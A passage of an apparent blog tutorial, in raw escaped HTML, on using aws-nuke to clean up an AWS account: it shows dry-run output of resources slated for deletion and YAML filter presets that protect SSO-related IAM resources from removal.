style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e subnet-02d7017bd4730ea63\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e DefaultVPC:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e OwnerID:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"777777777777\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EC2Subnet\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e subnet-0ec04b28c32708ab2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e DefaultVPC:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e OwnerID:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"777777777777\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EC2Subnet\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e subnet-0eea1b4be084840ed\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e DefaultVPC:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e OwnerID:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"777777777777\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EC2Subnet\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e subnet-05a294cc04736012e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e DefaultVPC:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e OwnerID:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"777777777777\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EC2RouteTable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e rtb-0abda0e94015064ca\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [DefaultVPC: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"true\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EC2DefaultSecurityGroupRule\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sgr-0368525f77bf566ac\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [SecurityGroupId: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"sg-0a59900b52ced5e10\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EC2DefaultSecurityGroupRule\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sgr-0890a837ed6148729\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [SecurityGroupId: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"sg-0a59900b52ced5e10\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EC2InternetGatewayAttachment\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e igw-0acfb474f1fd71375\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e vpc-0be5d310ab44c239a\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [DefaultVPC: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"true\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e SQSQueue\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://sqs.us-east-1.amazonaws.com/777777777777/example-sqs\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IAMSAMLProvider\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arn:aws:iam::777777777777:saml-provider/AWSSSO_254abb4071f10b25_DO_NOT_DELETE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IAMOpenIDConnectProvider\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arn:aws:iam::777777777777:oidc-provider/app.terraform.io\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [Arn: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"arn:aws:iam::777777777777:oidc-provider/app.terraform.io\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IAMPolicy\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arn:aws:iam::777777777777:policy/tfc-agent-access-policy\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [ARN: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"arn:aws:iam::777777777777:policy/tfc-agent-access-policy\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Name:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"tfc-agent-access-policy\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Path:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"/\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e PolicyID:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"ANPA2T6PZOBNWI76TKQRF\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IAMRole\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tfc-agent\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [CreateDate: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"2023-04-02T17:55:23Z\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e LastUsedDate:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-06-22T13:45:02Z\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Name:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"tfc-agent\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Path:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"/\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IAMRolePolicyAttachment\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tfc-agent\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tfc-agent-access-policy\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [PolicyArn: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"arn:aws:iam::777777777777:policy/tfc-agent-access-policy\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e PolicyName:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"tfc-agent-access-policy\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e RoleCreateDate:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-04-02T17:55:23Z\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e RoleLastUsed:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-06-22T13:45:02Z\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e RoleName:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"tfc-agent\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e RolePath:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"/\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eScan\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e complete:\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 85\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e total,\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 19\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nukeable,\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 66\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e filtered.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eThe\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e above\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e resources\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e be\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e deleted\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e with\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e the\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e supplied\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e configuration.\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Provide\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --no-dry-run\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e to\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e actually\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e destroy\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e resources.\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis is great, it fully scanned the account and found every resource to delete!\nIt even wants to delete the DefaultVPC which is usually a good idea. The one\nresource that should catch your eye that you probably do not want to delete:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003earn:aws:iam::777777777777:saml-provider/AWSSSO_254abb4071f10b25_DO_NOT_DELETE\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAWS clearly does not want us to delete that!\u003c/p\u003e\n\u003ch1\u003eFilters\u003c/h1\u003e\n\u003cp\u003eTo prevent nuke from deleting resources you want to keep you can define presets\nthat you use on each account. So with our SSO example we want to prevent it\nfrom deleting those resources in a preset.\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003epresets\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e sso\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e filters\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e IAMSAMLProvider\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"regex\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"AWSSSO_.*_DO_NOT_DELETE\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e IAMRole\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"glob\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"AWSReservedSSO_*\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e IAMRolePolicyAttachment\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"glob\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"AWSReservedSSO_*\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou can see in this example I am targeting specific resource types and then\nmatching them with both \u003ccode\u003eregex\u003c/code\u003e and \u003ccode\u003eglob\u003c/code\u003e filter types. These are super\npowerful but a lot of times the simpler filters can be used. I start with\n\u003ccode\u003econtains\u003c/code\u003e filter and then go from there:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003econtains\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eAWSReservedSSO\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThen the other thing you may have noticed is that I was repeating\n\u003ccode\u003eAWSReservedSSO\u003c/code\u003e multiple times. To reduce that you can use standard YAML\nanchors. So the final config for your preset would look like this:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003epresets\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e sso\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e filters\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e _DEFAULT_FILTERS\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u0026#x26;\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"contains\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"DO_NOT_DELETE\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"contains\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"AWSReservedSSO\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e IAMSAMLProvider\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e IAMRole\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e IAMRolePolicyAttachment\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow we can use that preset in our accounts configuration:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eaccounts\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"777777777777\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"presets\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003esso\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo your final config should look something like this:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eregions\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eus-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan 